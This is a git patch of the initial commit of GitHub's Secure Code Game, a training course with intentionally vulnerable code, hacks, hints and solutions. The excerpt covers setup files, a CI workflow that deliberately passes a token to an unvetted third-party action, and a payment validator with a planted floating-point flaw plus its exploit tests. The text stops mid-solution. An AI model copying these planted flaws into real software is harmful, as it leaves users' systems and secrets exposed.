From 6e4cf4f10201034747b3ce4b72977ba553d00dee Mon Sep 17 00:00:00 2001 From: jrs-devops <156038926+jrs-devops@users.noreply.github.com> Date: Mon, 17 Jun 2024 17:53:40 -0400 Subject: [PATCH] Initial commit --- .devcontainer/devcontainer.json | 9 + .github/dependabot.yml | 6 + .github/workflows/codeql-analysis.yml | 36 + .github/workflows/jarvis-code.yml | 34 + .github/workflows/jarvis-hack.yml | 25 + .gitignore | 306 +++ CONTRIBUTING.md | 51 + LICENSE | 7 + README.md | 188 ++ Season-1/Level-1/code.py | 33 + Season-1/Level-1/hack.py | 37 + Season-1/Level-1/hint.js | 6 + Season-1/Level-1/solution.py | 82 + Season-1/Level-1/tests.py | 43 + Season-1/Level-2/code.h | 106 + Season-1/Level-2/hack.c | 30 + Season-1/Level-2/hint-1.txt | 5 + Season-1/Level-2/hint-2.txt | 6 + Season-1/Level-2/solution.c | 141 ++ Season-1/Level-2/tests.c | 28 + Season-1/Level-3/assets/prof_picture.png | Bin 0 -> 20177 bytes Season-1/Level-3/assets/tax_form.pdf | Bin 0 -> 9233 bytes Season-1/Level-3/code.py | 55 + Season-1/Level-3/hack.py | 34 + Season-1/Level-3/hint.txt | 3 + Season-1/Level-3/solution.py | 48 + Season-1/Level-3/tests.py | 48 + Season-1/Level-4/code.py | 249 ++ Season-1/Level-4/hack.py | 53 + Season-1/Level-4/hint.py | 25 + Season-1/Level-4/solution.py | 71 + Season-1/Level-4/tests.py | 62 + Season-1/Level-5/code.py | 59 + Season-1/Level-5/hack.py | 7 + Season-1/Level-5/hint.txt | 3 + Season-1/Level-5/solution.py | 65 + Season-1/Level-5/tests.py | 20 + Season-1/README.md | 215 ++ Season-2/Level-1/code.yml | 11 + Season-2/Level-1/hack.yml | 7 + Season-2/Level-1/hint-1.txt | 4 + Season-2/Level-1/hint-2.txt | 5 + Season-2/Level-1/solution.yml | 43 + Season-2/Level-2/code.go | 91 + Season-2/Level-2/code_test.go | 134 ++ Season-2/Level-2/go.mod | 3 + Season-2/Level-2/hack_test.go | 100 + Season-2/Level-2/hint-1.txt | 3 + Season-2/Level-2/hint-2.txt | 3 + Season-2/Level-2/solution/go.mod | 3 + Season-2/Level-2/solution/solution.go | 102 + Season-2/Level-2/solution/solution_test.go | 214 ++ Season-2/Level-3/code.py | 57 + Season-2/Level-3/hack.txt | 8 + Season-2/Level-3/hint.txt | 1 + Season-2/Level-3/solution.txt | 68 + Season-2/Level-3/templates/details.html | 31 + Season-2/Level-3/templates/index.html | 63 + Season-2/Level-3/tests.py | 63 + Season-2/Level-4/.env.production | 1 + Season-2/Level-4/code.js | 102 + Season-2/Level-4/hack.admin | 1 + Season-2/Level-4/hack.js | 126 + Season-2/Level-4/hint.txt | 8 + Season-2/Level-4/package-lock.json | 2399 ++++++++++++++++++++ Season-2/Level-4/package.json | 25 + Season-2/Level-4/solution.js | 95 + Season-2/Level-4/tests.js | 71 + Season-2/Level-5/code.js | 58 + Season-2/Level-5/hack-1.js | 25 + Season-2/Level-5/hack-2.js | 25 + Season-2/Level-5/hack-3.js | 25 + Season-2/Level-5/hint-1.txt | 24 + Season-2/Level-5/hint-2.txt | 3 + Season-2/Level-5/hint-3.txt | 1 + Season-2/Level-5/index.html | 126 + Season-2/Level-5/solution.js | 221 ++ Season-2/README.md | 234 ++ requirements.txt | 6 + 79 files changed, 6786 insertions(+) create mode 100644 .devcontainer/devcontainer.json create mode 100644 .github/dependabot.yml create mode 100644 .github/workflows/codeql-analysis.yml create mode 100644 .github/workflows/jarvis-code.yml create mode 100644 .github/workflows/jarvis-hack.yml create mode 100644 .gitignore create mode 100644 CONTRIBUTING.md create mode 100644 LICENSE create mode 100644 README.md create mode 100644 Season-1/Level-1/code.py create mode 100644 Season-1/Level-1/hack.py create mode 100644 Season-1/Level-1/hint.js create mode 100644 Season-1/Level-1/solution.py create mode 100644 Season-1/Level-1/tests.py create mode 100644 Season-1/Level-2/code.h create mode 100644 Season-1/Level-2/hack.c create mode 100644 Season-1/Level-2/hint-1.txt create mode 100644 Season-1/Level-2/hint-2.txt create mode 100644 Season-1/Level-2/solution.c create mode 100644 Season-1/Level-2/tests.c create mode 100644 Season-1/Level-3/assets/prof_picture.png create mode 100644 Season-1/Level-3/assets/tax_form.pdf create mode 100644 Season-1/Level-3/code.py create mode 100644 Season-1/Level-3/hack.py create mode 100644 Season-1/Level-3/hint.txt create mode 100644 Season-1/Level-3/solution.py create mode 100644 Season-1/Level-3/tests.py create mode 100644 Season-1/Level-4/code.py create mode 100644 Season-1/Level-4/hack.py create mode 100644 Season-1/Level-4/hint.py create mode 100644 Season-1/Level-4/solution.py create mode 100644 Season-1/Level-4/tests.py create mode 100644 Season-1/Level-5/code.py create mode 100644 Season-1/Level-5/hack.py create mode 100644 Season-1/Level-5/hint.txt create mode 100644 Season-1/Level-5/solution.py create mode 100644 Season-1/Level-5/tests.py create mode 100644 Season-1/README.md create mode 100644 Season-2/Level-1/code.yml create mode 100644 Season-2/Level-1/hack.yml create mode 100644 Season-2/Level-1/hint-1.txt create mode 100644 Season-2/Level-1/hint-2.txt create mode 100644 Season-2/Level-1/solution.yml create mode 100644 Season-2/Level-2/code.go create mode 100644 Season-2/Level-2/code_test.go create mode 100644 Season-2/Level-2/go.mod create mode 100644 Season-2/Level-2/hack_test.go create mode 100644 Season-2/Level-2/hint-1.txt create mode 100644 Season-2/Level-2/hint-2.txt create mode 100644 Season-2/Level-2/solution/go.mod create mode 100644 Season-2/Level-2/solution/solution.go create mode 100644 Season-2/Level-2/solution/solution_test.go create mode 100644 Season-2/Level-3/code.py create mode 100644 Season-2/Level-3/hack.txt create mode 100644 Season-2/Level-3/hint.txt create mode 100644 Season-2/Level-3/solution.txt create mode 100644 Season-2/Level-3/templates/details.html create mode 100644 Season-2/Level-3/templates/index.html create mode 100644 Season-2/Level-3/tests.py create mode 100644 Season-2/Level-4/.env.production create mode 100644 Season-2/Level-4/code.js create mode 100644 Season-2/Level-4/hack.admin create mode 100644 Season-2/Level-4/hack.js create mode 100644 Season-2/Level-4/hint.txt create mode 100644 Season-2/Level-4/package-lock.json create mode 100644 Season-2/Level-4/package.json create mode 100644 Season-2/Level-4/solution.js create mode 100644 Season-2/Level-4/tests.js create mode 100644 Season-2/Level-5/code.js create mode 100644 Season-2/Level-5/hack-1.js create mode 100644 Season-2/Level-5/hack-2.js create mode 100644 Season-2/Level-5/hack-3.js create mode 100644 Season-2/Level-5/hint-1.txt create mode 100644 Season-2/Level-5/hint-2.txt create mode 100644 Season-2/Level-5/hint-3.txt create mode 100644 Season-2/Level-5/index.html create mode 100644 Season-2/Level-5/solution.js create mode 100644 Season-2/README.md create mode 100644 requirements.txt diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 0000000..b0061b3 --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,9 @@ +{ + "onCreateCommand": "sudo apt-get update && sudo apt-get -y install libldap2-dev libsasl2-dev && pip3 install pyOpenSSL && pip3 install -r requirements.txt", + "customizations": { + "vscode": { + "extensions": ["ms-python.python", "ms-python.vscode-pylance", "ms-vscode.cpptools-extension-pack", "redhat.vscode-yaml", "golang.go"] + } + }, + "postCreateCommand": "npm install --prefix Season-2/Level-4/ Season-2/Level-4/ && npm install --global mocha" +} \ No newline at end of file diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..8ac6b8c --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,6 @@ +version: 2 +updates: + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "monthly" diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml new file mode 100644 index 0000000..6abb0af --- /dev/null +++ b/.github/workflows/codeql-analysis.yml @@ -0,0 +1,36 @@ +name: "CodeQL Analysis" + +on: + push: + branches: [main] + pull_request: + branches: [main] + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + permissions: + actions: read + contents: read + security-events: write + + strategy: + fail-fast: false + matrix: + language: ['python', 'go', 'javascript'] + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: ${{ matrix.language }} + + - name: Autobuild + uses: github/codeql-action/autobuild@v3 + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 diff --git a/.github/workflows/jarvis-code.yml b/.github/workflows/jarvis-code.yml new file mode 100644 index 0000000..501fc80 --- /dev/null +++ b/.github/workflows/jarvis-code.yml @@ -0,0 +1,34 @@ +# ////////////////////////////////////////////////////////////////////////////////////////////////// +# /// /// +# /// 1. Review the code in this file. Can you spot the bug? /// +# /// 2. Fix the bug and push your solution so that GitHub Actions can run /// +# /// 3. You successfully completed this level when .github/workflows/jarvis-hack.yml pass 🟢 /// +# /// 4. If you get stuck, read the hint in hint-1.txt and try again /// +# /// 5. If you need more guidance, read the hint in hint-2.txt and try again /// +# /// 6. Compare your solution with solution.yml. Remember, there are several possible solutions /// +# /// /// +# ////////////////////////////////////////////////////////////////////////////////////////////////// + +name: CODE - Jarvis Gone Wrong + +on: + push: + paths: + - ".github/workflows/jarvis-code.yml" + +jobs: + jarvis: + if: ${{ !github.event.repository.is_template }} + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - name: Check out code + uses: actions/checkout@v4 + - name: Check GitHub Status + # Source of GitHub Action in line 30: + # https://github.com/dduzgun-security/secure-code-game-action + uses: dduzgun-security/secure-code-game-action@1c9ed9f1e57d7b8c4e9bfa8013fd54e322214eb4 # v2.0 + with: + who-to-greet: "Jarvis, obviously ..." + get-token: "token-4db56ee8-dbec-46f3-96f5-32247695ab9b" diff --git a/.github/workflows/jarvis-hack.yml b/.github/workflows/jarvis-hack.yml new file mode 100644 index 0000000..a5df4a4 --- /dev/null +++ b/.github/workflows/jarvis-hack.yml @@ -0,0 +1,25 @@ +# This file is expected to fail ❌ upon push until you fix the bug +# You successfully completed this level when this file pass 🟢 upon push +name: HACK - Jarvis Gone Wrong + +on: + push: + paths: + - ".github/workflows/jarvis-code.yml" + +jobs: + jarvis: + if: ${{ !github.event.repository.is_template }} + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - name: Check out code + uses: actions/checkout@v4 + + - name: Check for insecure actions + run: | + if grep -q "uses: dduzgun-security/secure-code-game-action@" $GITHUB_WORKSPACE/.github/workflows/jarvis-code.yml; then + echo "Insecure action detected. Please remove it from your workflow." + exit 1 + fi diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0a5f00a --- /dev/null +++ b/.gitignore @@ -0,0 +1,306 @@ +### VSCODE ### +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json +!.vscode/*.code-snippets + +# Local History for Visual Studio Code +.history/ + +# Built Visual Studio Code Extensions +*.vsix + +### PYTHON ### +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class +*.pyc + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +### JAVASCRIPT ### +# compiled output +/dist +/tmp +/out-tsc + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# IDEs and editors +.idea +.project +.classpath +.c9/ +*.launch +.settings/ +*.sublime-workspace + +# IDE - VSCode +.vscode/* +!.vscode/settings.json +!.vscode/tasks.json +!.vscode/launch.json +!.vscode/extensions.json + +# misc +.sass-cache +connect.lock +typings + +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* + + +# Dependency directories +node_modules/ +jspm_packages/ + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variables file +.env + +# next.js build output +.next + +# Lerna +lerna-debug.log + +# System Files +.DS_Store +Thumbs.db + +### C ### +# Prerequisites +*.d + +# Object files +*.o +*.ko +*.obj +*.elf + +# Linker output +*.ilk +*.map +*.exp + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex + +# Debug files +*.dSYM/ +*.su +*.idb +*.pdb + +# Kernel Module Compile Results +# *.mod* +*.cmd +.tmp_versions/ +modules.order +Module.symvers +Mkfile.old +dkms.conf \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..40a5218 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,51 @@ +# Secure Code Game Contribution Guideline + +Thank you for your interest in contributing to the Secure Code Game. Let's collaborate and bring your ideas to life for a lasting impact on the global cybersecurity scene. Follow these guidelines: + +## 1. Review current proposals + +Make sure your idea was not already discussed. Consider joining [existing proposals](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) and contributing collaboratively instead of duplicating efforts. + +## 2. Create a new proposal + +Start a [new discussion](https://github.com/skills/secure-code-game/discussions/new?category=new-level-proposals) by providing, at the very least, the following elements: + +- **Vulnerability:** Propose a specific vulnerability that you would like to include in the game. +- **Programming Language:** Specify the programming language you want to use for implementing the code. +- **Scenario:** Describe the scenario where the vulnerability will be introduced. + +**Example:** + +👋 Hi, I would like to contribute a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript. The scenario involves an online forum where users can write responses through a text box, but input sanitization wasn't implemented securely. An attacker could exploit this by injecting malicious code, for example ``. + +## Increase your proposal’s chances + +To increase the chances of your proposal being merged into the game, consider suggesting a vulnerability and programming language combination that we haven't yet included in the game or rejected in past discussions. While we welcome all contributions, you will have more chances for these popular vulnerabilities and programming languages: + +- **TypeScript/JavaScript:** Server-Side Request Forgery (SSRF), Broken Access Control, Cross-Site Request Forgery (CSRF) +- **C#:** Server-Side Request Forgery (SSRF), Remote Code Execution, Insecure Deserialization, Cross-Site Request Forgery (CSRF) +- **Java:** Broken Access Control, Remote Code Execution, Insecure Deserialization + +Please feel free to propose other vulnerabilities and programming languages or frameworks as well. For those looking for community feedback on an idea before opening a discussion, or for other collaborators and beta-testers, you can join our vibrant [Slack community](https://gh.io/securitylabslack) and engage in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +## 3. Submit a Pull Request + +Once your proposal receives approval in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals), you can proceed to submit a pull request (PR) to the game's [repository](https://github.com/skills/secure-code-game). Ensure that your PR follows the [file structure](https://github.com/skills/secure-code-game) conventions of the existing game levels. For example, if you're submitting a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript, your PR should include the following files: + +- storyline +- code.js +- hack.js +- hint.js +- solution.js +- tests.js +- dependencies in requirements.txt + +## Credit + +We highly appreciate your contribution to the Secure Code Game. As a token of our gratitude, we will prominently display your name at the beginning of the level you contribute, along with a clickable URL to your GitHub profile or another social media platform of your choice. + +## Additional Information + +- If you have any questions or need assistance, don't hesitate to ask for help in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) or from our [Slack community](https://gh.io/securitylabslack) at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +We appreciate your dedication to improving software security through the Secure Code Game 🎮 🔐 \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..6c5bc3d --- /dev/null +++ b/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) GitHub, Inc. + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..251ae3d --- /dev/null +++ b/README.md @@ -0,0 +1,188 @@ +
+ + + +# Secure Code Game + +📣 **SEASON 2 JUST DROPPED! READY TO PLAY?** 📣 + +_A GitHub Security Lab initiative, providing an in-repo learning experience, where learners secure intentionally vulnerable code. At the same time, this is an open source project that welcomes your [contributions](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md) as a way to give back to the community._ + +
+ + + +## Welcome + +- **Who is this for**: Developers, students. +- **What you'll learn**: How to spot and fix vulnerable patterns in real-world code, build security into your workflows, and understand security alerts generated against your code. +- **What you'll build**: You will develop fixes on functional but vulnerable code. +- **Prerequisites**: For the first season, you will need some knowledge of `python3` for most levels and `C` for Level 2. For the second season, you will need some knowledge of `GitHub Actions` for level 1, `go` for level 2, `python3` for level 3, and `javascript` for levels 4 and 5. +- **How long**: Each season is five levels long and takes 2-9 hours to complete. The complete course has 2 seasons. + +### How to start this course + + + +[![start-course](https://user-images.githubusercontent.com/1221423/235727646-4a590299-ffe5-480d-8cd5-8194ea184546.svg)](https://github.com/new?template_owner=skills&template_name=secure-code-game&owner=%40me&name=skills-secure-code-game&description=My+clone+repository&visibility=public) + +1. Right-click **Start course** and open the link in a new tab. +1. In the new tab, most of the prompts will automatically fill in for you. + - For owner, choose your personal account or an organization to host the repository. + - We recommend creating a public repository, as private repositories will [use Actions minutes](https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions). + - Scroll down and click the **Create repository** button at the bottom of the form. +1. You can now proceed to the 🛠️ set up section. + +## 🛠️ The set up + +#### 🖥️ Using codespaces + +All levels are configured to run instantly with GitHub Codespaces. If you chose to use codespaces, be aware that this course **will count towards your 60 hours of monthly free allowance**. For more information about GitHub Codespaces, see the "[GitHub Codespaces overview](https://docs.github.com/en/codespaces/overview)." If you prefer to work locally, please follow the local installation guide in the next section. + +1. To create a codespace, click the **Code** drop down button in the upper-right of your repository navigation bar. +1. Click **Create codespace on main**. +1. After creating a codespace, relax and wait for VS Code extensions and background installations to complete. This should take less than three minutes. +1. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file. + +Optional: We recommend these free-of-charge additional extensions, but we haven't pre-installed them for you: + +1. `github.copilot-labs` to receive AI-generated code explanations. +1. `alexcvzz.vscode-sqlite` to visualize the SQL database created in Season-1/Level-4 and the effects of our exploits on its content. + +If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. + +#### 💻 Local installation + +Please note: You don't need a local installation if you are using GitHub Codespaces. + +The following local installation guide is adapted to Debian/Ubuntu and CentOS/RHEL. + +1. Open your terminal. +1. Install OpenLDAP headers needed to compile `python-ldap`, depending on your Linux distribution. Check by running: + +```bash +uname -a +``` +- For Debian/Ubuntu, run: +```bash +sudo apt-get update +sudo apt-get install libldap2-dev libsasl2-dev +``` + +- For CentOS/RHEL, run: + +```bash +sudo yum install python-devel openldap-devel +``` + +- For Archlinux, run: + +```bash +sudo pacman -Sy libldap libsasl +``` + +- Then, for all of the above Linux distributions install `pyOpenSSL` by running: + +```bash +pip3 install pyOpenSSL +``` + +Once installation has completed, clone your repository to your local machine and install required dependencies. + +1. From your repository, click the **Code** drop down button in the upper-right of your repository navigation bar. +1. Select the `Local` tab from the menu. +1. Copy your preferred URL. +1. In your terminal, change the working directory to the location where you want the cloned directory. +1. Type `git clone` and paste the copied URL. + +``` +$ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY +``` + +6. Press **Enter** to create your local clone. +7. Change the working directory to the cloned directory. +8. Install dependencies by running: + +```bash +pip3 install -r requirements.txt +``` + +- Programming Languages + +1. To play Season 1, you will need to have `python3` and `c` installed. +1. To play Season 2, you will need to have `yaml`, `go`, `python3` and `node` installed. + +If you are using VS Code locally, you can install the above programming languages through the editor extensions with these identifiers: + +1. `ms-python.python` +1. `ms-python.vscode-pylance` +1. `ms-vscode.cpptools-extension-pack` +1. `redhat.vscode-yaml` +1. `golang.go` + +Please note that for the `go` programming language, you need to perform an extra step, which is to visit the [official website](https://go.dev/dl/) and download the driver corresponding to your operating system. + +Now, it's necessary to install `node` to get the `npm` packages we have provided. To do so: + +1. Start by installing a package manager like `homebrew` by running: + +```bash +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" +``` + +2. Install `node`: + +```bash +brew install node +``` +Adapt the command to the package manager you have chosen if it's not homebrew. + +3. The `npm` packages needed are specified in `package.json` and `package-lock.json`. Navigate to the `secure-code-game` repository and install them by running: + +```bash +npm install --prefix Season-2/Level-4/ Season-2/Level-4/ && npm install --global mocha +``` + +4. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file. + +We recommend these free-of-charge additional extensions: + +1. `github.copilot-labs` to receive AI-generated code explanations. +1. `alexcvzz.vscode-sqlite` to visualize the SQL database created and the effects of our exploits on its content. + +For more information about cloning repositories, see "[Cloning a repository](https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository)." + + diff --git a/Season-1/Level-1/code.py b/Season-1/Level-1/code.py new file mode 100644 index 0000000..127ef76 --- /dev/null +++ b/Season-1/Level-1/code.py @@ -0,0 +1,33 @@ +''' +Welcome to Secure Code Game Season-1/Level-1! + +Follow the instructions below to get started: + +1. tests.py is passing but code.py is vulnerable +2. Review the code. Can you spot the bug? +3. Fix the code but ensure that tests.py passes +4. Run hack.py and if passing then CONGRATS! +5. If stuck then read the hint +6. Compare your solution with solution.py +''' + +from collections import namedtuple + +Order = namedtuple('Order', 'id, items') +Item = namedtuple('Item', 'type, description, amount, quantity') + +def validorder(order: Order): + net = 0 + + for item in order.items: + if item.type == 'payment': + net += item.amount + elif item.type == 'product': + net -= item.amount * item.quantity + else: + return "Invalid item type: %s" % item.type + + if net != 0: + return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, net) + else: + return "Order ID: %s - Full payment received!" % order.id \ No newline at end of file diff --git a/Season-1/Level-1/hack.py b/Season-1/Level-1/hack.py new file mode 100644 index 0000000..595e256 --- /dev/null +++ b/Season-1/Level-1/hack.py @@ -0,0 +1,37 @@ +import unittest +import code as c + +class TestOnlineStore(unittest.TestCase): + + # Tricks the system and walks away with 1 television, despite valid payment & reimbursement + def test_6(self): + tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1) + payment = c.Item(type='payment', description='invoice_4', amount=1e19, quantity=1) + payback = c.Item(type='payment', description='payback_4', amount=-1e19, quantity=1) + order_4 = c.Order(id='4', items=[payment, tv_item, payback]) + self.assertEqual(c.validorder(order_4), 'Order ID: 4 - Payment imbalance: $-1000.00') + + # Valid payments that should add up correctly, but do not + def test_7(self): + small_item = c.Item(type='product', description='accessory', amount=3.3, quantity=1) + payment_1 = c.Item(type='payment', description='invoice_5_1', amount=1.1, quantity=1) + payment_2 = c.Item(type='payment', description='invoice_5_2', amount=2.2, quantity=1) + order_5 = c.Order(id='5', items=[small_item, payment_1, payment_2]) + self.assertEqual(c.validorder(order_5), 'Order ID: 5 - Full payment received!') + + # The total amount payable in an order should be limited + def test_8(self): + num_items = 12 + items = [c.Item(type='product', description='tv', amount=99999, quantity=num_items)] + for i in range(num_items): + items.append(c.Item(type='payment', description='invoice_' + str(i), amount=99999, quantity=1)) + order_1 = c.Order(id='1', items=items) + self.assertEqual(c.validorder(order_1), 'Total amount payable for an order exceeded') + + # Put payments before products + items = items[1:] + [items[0]] + order_2 = c.Order(id='2', items=items) + self.assertEqual(c.validorder(order_2), 'Total amount payable for an order exceeded') + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/Season-1/Level-1/hint.js b/Season-1/Level-1/hint.js new file mode 100644 index 0000000..f145f44 --- /dev/null +++ b/Season-1/Level-1/hint.js @@ -0,0 +1,6 @@ +// Example of underflow vulnerability in JS +var a = 10000000000000000; // 16 zeroes, try with 15 zeroes ;) +var b = 2; +var c = 1; + +console.log(a + b - c - a); \ No newline at end of file diff --git a/Season-1/Level-1/solution.py b/Season-1/Level-1/solution.py new file mode 100644 index 0000000..a9771e0 --- /dev/null +++ b/Season-1/Level-1/solution.py @@ -0,0 +1,82 @@ +from collections import namedtuple +from decimal import Decimal + +Order = namedtuple('Order', 'id, items') +Item = namedtuple('Item', 'type, description, amount, quantity') + +MAX_ITEM_AMOUNT = 100000 # maximum price of item in the shop +MAX_QUANTITY = 100 # maximum quantity of an item in the shop +MIN_QUANTITY = 0 # minimum quantity of an item in the shop +MAX_TOTAL = 1e6 # maximum total amount accepted for an order + +def validorder(order): + payments = Decimal('0') + expenses = Decimal('0') + + for item in order.items: + if item.type == 'payment': + # Sets a reasonable min & max value for the invoice amounts + if -MAX_ITEM_AMOUNT <= item.amount <= MAX_ITEM_AMOUNT: + payments += Decimal(str(item.amount)) + elif item.type == 'product': + if type(item.quantity) is int and MIN_QUANTITY < item.quantity <= MAX_QUANTITY and MIN_QUANTITY < item.amount <= MAX_ITEM_AMOUNT: + expenses += Decimal(str(item.amount)) * item.quantity + else: + return "Invalid item type: %s" % item.type + + if abs(payments) > MAX_TOTAL or expenses > MAX_TOTAL: + return "Total amount payable for an order exceeded" + + if payments != expenses: + return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, payments - expenses) + else: + return "Order ID: %s - Full payment received!" % order.id + +# Solution explanation: + +# A floating-point underflow vulnerability. + +# In hack.py, the attacker tricked the system by supplying an extremely high +# amount as a fake payment, immediately followed by a payment reversal. +# The exploit passes a huge number, causing an underflow while subtracting the +# cost of purchased items, resulting in a zero net. + +# It's a good practice to limit your system input to an acceptable range instead +# of accepting any value. + +# We also need to protect from a scenario where the attacker sends a huge number +# of items, resulting in a huge net. We can do this by limiting all variables +# to reasonable values. + +# In addition, using floating-point data types for calculations involving financial +# values causes unexpected rounding and comparison errors as it cannot represent +# decimal numbers with the precision we expect. + +# For example, running `0.1 + 0.2` in the Python interpreter gives `0.30000000000000004` +# instead of 0.3. + +# The solution to this is to use the Decimal type for calculations that should work +# in the same way "as the arithmetic that people learn at school." +# Learn more by reading Python's official documentation on Decimal: +# (https://docs.python.org/3/library/decimal.html). + +# It is also necessary to convert the floating point values to string first before passing +# it to the Decimal constructor. If the floating point value is passed to the Decimal +# constructor, the rounded value is stored instead. + +# Compare the following examples from the interpreter: +# >>> Decimal(0.3) +# Decimal('0.299999999999999988897769753748434595763683319091796875') +# >>> Decimal('0.3') +# Decimal('0.3') + +# Input validation should be expanded to also check data types besides testing allowed range +# of values. This specific bug, caused by using a non-integer quantity, might occur due to +# insufficient attention to requirements engineering. While in certain contexts is acceptable +# to buy a non-integer amount of an item (e.g. buy a fractional share), in the context of our +# online shop we falsely placed trust to users for buying a positive integer of items 